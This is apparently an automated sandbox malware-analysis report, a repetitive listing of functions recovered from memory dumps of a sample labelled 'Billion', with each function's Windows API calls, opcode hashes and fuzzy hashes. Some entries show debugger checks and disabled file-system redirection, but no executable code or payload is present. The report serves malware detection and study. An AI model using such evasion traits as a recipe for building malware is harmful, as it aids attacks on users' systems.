__CxxThrowException@8.LIBVCRUNTIME ref: 001509D8

Part of subcall function 00153614: RaiseException.KERNEL32(?,?,?,001509FA,?,00000000,?,?,?,?,?,?,001509FA,00000000,001F9758,00000000), ref: 00153674

__CxxThrowException@8.LIBVCRUNTIME ref: 001509F5

Strings

Unknown exception, xrefs: 00150A02

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: b1887cd42fe1a3a65668d7bbbc9a70a4af581deb63b74204dde6762683531418
Instruction ID: 5fc9e71ac74a9f06af9a0a99ac938a0f1ef50e06ccc32a9c37b986e2040a32a5
Opcode Fuzzy Hash: b1887cd42fe1a3a65668d7bbbc9a70a4af581deb63b74204dde6762683531418
Instruction Fuzzy Hash: B2F0223480060CF7CB06BAE4DC569AE776C5E28356B604125BD389F5A2FB30EA1DCAC0

Function 001B89B6 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 001B8D52
TerminateProcess.KERNEL32(00000000), ref: 001B8D59
FreeLibrary.KERNEL32(?,?,?,?), ref: 001B8F3A

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: 32a58f1c3d8a5121b46be7967d1d83ecb1e3a1a3df9cb6f7b95616cfcf040653
Instruction ID: 092d3a55c435d566fe4285de114d2539fe59dfe6e401557e95c4c00a7d2e3861
Opcode Fuzzy Hash: 32a58f1c3d8a5121b46be7967d1d83ecb1e3a1a3df9cb6f7b95616cfcf040653
Instruction Fuzzy Hash: 8C127C719083019FD714DF28C484BAABBE5FF98718F14895DF8898B392DB30E945CB92

Function 001B9AF3 Relevance: 4.7, APIs: 3, Instructions: 233COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001B9B87
_strcat.LIBCMT ref: 001B9BC6
_wcslen.LIBCMT ref: 001B9C14

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _wcslen$_strcat
String ID:
API String ID: 306214811-0
Opcode ID: 92d90bcf94012c78c5fda50763fd96a826d2057750196513b7a4ea908e99ac87
Instruction ID: cf4161e5c7cb99c7e8b04ac7206a91b2c8bfd572b2881c3fcd1c91e6e1733f7a
Opcode Fuzzy Hash: 92d90bcf94012c78c5fda50763fd96a826d2057750196513b7a4ea908e99ac87
Instruction Fuzzy Hash: 34A17B31604605EFCB18DF58C5D19A9BBF1FF59314B2084ADE95A8F2A2DB31ED46CB80

Function 0014FCAD Relevance: 4.6, APIs: 3, Instructions: 75timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 001361A9: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00136299

KillTimer.USER32(?,00000001,?,?), ref: 0014FD36
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0014FD45
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 0018FE33

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 6f8b94fb9cb0d17850de30ae1abb58a6fd1b4faa91e3fa311a162e902206f979
Instruction ID: f435c6f3d949e37aa09a32c9faec83c68a46f0c2ee988154160506ade35345d6
Opcode Fuzzy Hash: 6f8b94fb9cb0d17850de30ae1abb58a6fd1b4faa91e3fa311a162e902206f979
Instruction Fuzzy Hash: 08319571904744AFEB32DF64D859BE7BBECAB12308F0044AEE69957242C3745A86CF51

Function 00168A2E Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,?,0016894C,?,001F9CE8,0000000C), ref: 00168A84
GetLastError.KERNEL32(?,0016894C,?,001F9CE8,0000000C), ref: 00168A8E
__dosmaperr.LIBCMT ref: 00168AB9

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 53b73adf378357322177db1bc44d870857553bda0e73c6c9a2dce47fbd308a8f
Instruction ID: 89d2f89b4b3fad25e178471cbdd105a897bbfaa07100bcab034f0c64bb11bbca
Opcode Fuzzy Hash: 53b73adf378357322177db1bc44d870857553bda0e73c6c9a2dce47fbd308a8f
Instruction Fuzzy Hash: 570149326066609AC72462B8BC4AB7E7B8A5B91734F29031AFD148B2D3DF30CDE14191

Function 0016970B Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,1875FF1C,1875FF1C,?,001697BA,FF8BC369,00000000,00000002,00000000), ref: 00169744
GetLastError.KERNEL32(?,001697BA,FF8BC369,00000000,00000002,00000000,?,00165ED4,00000000,00000000,00000000,00000002,00000000,FF8BC369,00000000,00156F41), ref: 0016974E
__dosmaperr.LIBCMT ref: 00169755

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID:
API String ID: 2336955059-0
Opcode ID: fe5a18b76ccadfe396f5532247ef58365967d0ef2240153c06a21f3e5fc808df
Instruction ID: 1823da1f7d1b51622402cd835e3369e789037d68966e074891c37e43322f5b47
Opcode Fuzzy Hash: fe5a18b76ccadfe396f5532247ef58365967d0ef2240153c06a21f3e5fc808df
Instruction Fuzzy Hash: 92014C32620514ABCB059F99EC06C6E7B2EEB85330B240219F8118B190EB30DD618F90

Function 0013CAB0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0013CEEE

Strings

`, xrefs: 0013CE12, 0013CF0B, 00181615, 00181629

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Init_thread_footer
String ID: `
API String ID: 1385522511-609909085
Opcode ID: 92a80f791682eeef1ef70b799242c2c778e868bc2750e32f31eebcdf315f98c7
Instruction ID: 3ea7566f9655a8c4581bdb6f313a58ba6a05089a7448f0654597dbc5d7601a0b
Opcode Fuzzy Hash: 92a80f791682eeef1ef70b799242c2c778e868bc2750e32f31eebcdf315f98c7
Instruction Fuzzy Hash: 1532D175A00205EFDB24DF58C884ABABBB9FF45350F158069E906AB252C774EE42CFD0

Function 00142B20 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00143006

Strings

CALL, xrefs: 00142FD6

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 6a466144e238da82c8047ea24600f96503d3fd99f24de20a1f06b6caba58f549
Instruction ID: ec22eed4630e6f49e56f5ac3b5928fca8b2b45c71374caa6006e21ec9c95a923
Opcode Fuzzy Hash: 6a466144e238da82c8047ea24600f96503d3fd99f24de20a1f06b6caba58f549
Instruction Fuzzy Hash: 4B228A70608201DFC714DF24C884B2ABBF1BF99314F65895DF49A8B3A2D772E985CB52

Function 00141990 Relevance: 3.6, APIs: 2, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55088c36f66ea569c236d26659ba5b0434befb0ede434114337914189745c7aa
Instruction ID: 09cff4d639b8aca9d79579d10392782dc90d145ce20e00c23a12e4c185d6da2b
Opcode Fuzzy Hash: 55088c36f66ea569c236d26659ba5b0434befb0ede434114337914189745c7aa
Instruction Fuzzy Hash: 1932BF70A00615EFCB24EF94C881BAEB7B5FF24314F148568F955AB2A1E731EE84CB51

Function 00133A95 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 0017413B

Part of subcall function 00135851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001355D1,?,?,00174B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00135871

Part of subcall function 00133A57: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 00133A76

Strings

X, xrefs: 00174109

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: b444658217fd28889e54a14cd42536553dfc227fb69b0031a5c9db7b51265218
Instruction ID: 43d35e6000ad52cfe4c59c144ae53d4d544c5ee38f9ac7128c93896e73ec5a4e
Opcode Fuzzy Hash: b444658217fd28889e54a14cd42536553dfc227fb69b0031a5c9db7b51265218
Instruction Fuzzy Hash: 57219071A002589BDB05DF98D809BEE7BF8AF59304F008059E559B7281DBB49A8D8FA1

Function 0013396B Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00133A3C

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 6b9403b7c466453ec04b3172c7829707b7d22c9f704df65a45e4059c74eec90c
Instruction ID: ed34fdc3a738719dc08f95f7ef7bbf357dbc7cb1c98e2e784190889b43e040e6
Opcode Fuzzy Hash: 6b9403b7c466453ec04b3172c7829707b7d22c9f704df65a45e4059c74eec90c
Instruction Fuzzy Hash: DD316171604701DFD720DF24E889797BBE8FB49709F00092EE6D987241E775A948CB56

Function 0013331B Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 0013333D

Part of subcall function 001332E6: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 001332FB
Part of subcall function 001332E6: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00133312

Part of subcall function 0013338B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,00133368,?), ref: 001333BB
Part of subcall function 0013338B: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00133368,?), ref: 001333CE
Part of subcall function 0013338B: GetFullPathNameW.KERNEL32(00007FFF,?,?,00202418,00202400,?,?,?,?,?,?,00133368,?), ref: 0013343A
Part of subcall function 0013338B: SetCurrentDirectoryW.KERNEL32(?,00000001,00202418,?,?,?,?,?,?,?,00133368,?), ref: 001334BB

SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 00133377

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
String ID:
API String ID: 1550534281-0
Opcode ID: 974372a5d4405a27593e392637119e38cbafb0e33837ee5edf326ea086028a7d
Instruction ID: 9e84c6cd60ef526a007ab6118e35f40c877633fa49b265c6a37068e8326ea59f
Opcode Fuzzy Hash: 974372a5d4405a27593e392637119e38cbafb0e33837ee5edf326ea086028a7d
Instruction Fuzzy Hash: 25F05E31558744EFD701AF60FC0EB243BA8B71471AF00885BBA198A0E3DBBA81988B44

Function 0014F950 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0014F96C

Part of subcall function 0013EE30: GetInputState.USER32 ref: 0013EF07

Sleep.KERNEL32(00000000), ref: 0018FB22

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 721ee1e4c0a05618731e76375e4556e9cd85e841e8dfa32be1caa30037c2a52a
Instruction ID: 995cc47ac445d417da84e7716079d7898d4080a861c0455606f25416a372401d
Opcode Fuzzy Hash: 721ee1e4c0a05618731e76375e4556e9cd85e841e8dfa32be1caa30037c2a52a
Instruction Fuzzy Hash: 85F058322003069FC314AF69D415F66FBE9AB54765F024039F81AC73A0DB70A800CB90

Function 001B7AF9 Relevance: 1.8, APIs: 1, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: c94ec6b198d97bdc12ac1825d52d093868f44cec60b8cd6a91d3fc32d4f4b9a7
Instruction ID: b078a44b88a7efbce28e0fb156f04cbb6b2809c2abc5efd76dd817b1c4337d3f
Opcode Fuzzy Hash: c94ec6b198d97bdc12ac1825d52d093868f44cec60b8cd6a91d3fc32d4f4b9a7
Instruction Fuzzy Hash: B7D13B75A0420AEFCF14EF98D8819EDBBB5FF58310F144159E915AB291EB30AE81CF90

Function 0015F106 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dce337649d865451b65f78f12b8ad9564c043c06a86b29e4facf2ce2657d9c74
Instruction ID: aa81c509ba9add9715d6316fb393ecddef2a71610f3cf2a5047a4826e3c2478f
Opcode Fuzzy Hash: dce337649d865451b65f78f12b8ad9564c043c06a86b29e4facf2ce2657d9c74
Instruction Fuzzy Hash: 8251C675A00208EFDB14DF68C844AA97BE2EB85365F19816CEC299F392D731ED47CB50

Function 0019FCB5 Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0019FCCE

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: b2fffb17f1b570285f0edf5b28d4d9c8a75d3f90e8f3c948983948c7765ecdd1
Instruction ID: 59a8fc6b6f03a5ca27eb314ccaf86d2ff51c30df955e375f4b7895b650ce230e
Opcode Fuzzy Hash: b2fffb17f1b570285f0edf5b28d4d9c8a75d3f90e8f3c948983948c7765ecdd1
Instruction Fuzzy Hash: BB419376500209AFCF15DFA8C8819AEB7F8EF58314B21853EE916DB251EB70DE06CB50

Function 00136679 Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013663E: LoadLibraryA.KERNEL32(kernel32.dll,?,?,0013668B,?,?,001362FA,?,00000001,?,?,00000000), ref: 0013664A
Part of subcall function 0013663E: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 0013665C
Part of subcall function 0013663E: FreeLibrary.KERNEL32(00000000,?,?,0013668B,?,?,001362FA,?,00000001,?,?,00000000), ref: 0013666E

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,001362FA,?,00000001,?,?,00000000), ref: 001366AB

Part of subcall function 00136607: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00175657,?,?,001362FA,?,00000001,?,?,00000000), ref: 00136610
Part of subcall function 00136607: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00136622
Part of subcall function 00136607: FreeLibrary.KERNEL32(00000000,?,?,00175657,?,?,001362FA,?,00000001,?,?,00000000), ref: 00136635

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: ca4e66afdcf9f42fa7715beb77d5c94990faa801624bd3f690f0495ac9bed08e
Instruction ID: 2c23ba70ce87d19f80b7a685a19a447caf391646718a23e0531c557de1a09f0a
Opcode Fuzzy Hash: ca4e66afdcf9f42fa7715beb77d5c94990faa801624bd3f690f0495ac9bed08e
Instruction Fuzzy Hash: 6711E7B1600305BACF14AB20CD07BADBBA59F60755F20C42DF456AA1C2DFB1DA059B50

Function 00168782 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 001687C0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 3b6c040ed3dd9c8744854002ee33e92ddb27f03fcc8c7e5abd28e0e5d14c732e
Instruction ID: 2ebb3d3d0311e4749c0261623384b8e09ab76e66d22a5d6e9df9556a467d9510
Opcode Fuzzy Hash: 3b6c040ed3dd9c8744854002ee33e92ddb27f03fcc8c7e5abd28e0e5d14c732e
Instruction Fuzzy Hash: 9611187590420AAFCB15DF98E94599A7BF8EF48310F114169F809AB311DB31EE21CB65

Function 00165373 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00164FF0: RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,0016319C,00000001,00000364,?,?,?,0000000A,00000000), ref: 00165031

_free.LIBCMT ref: 001653DF

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

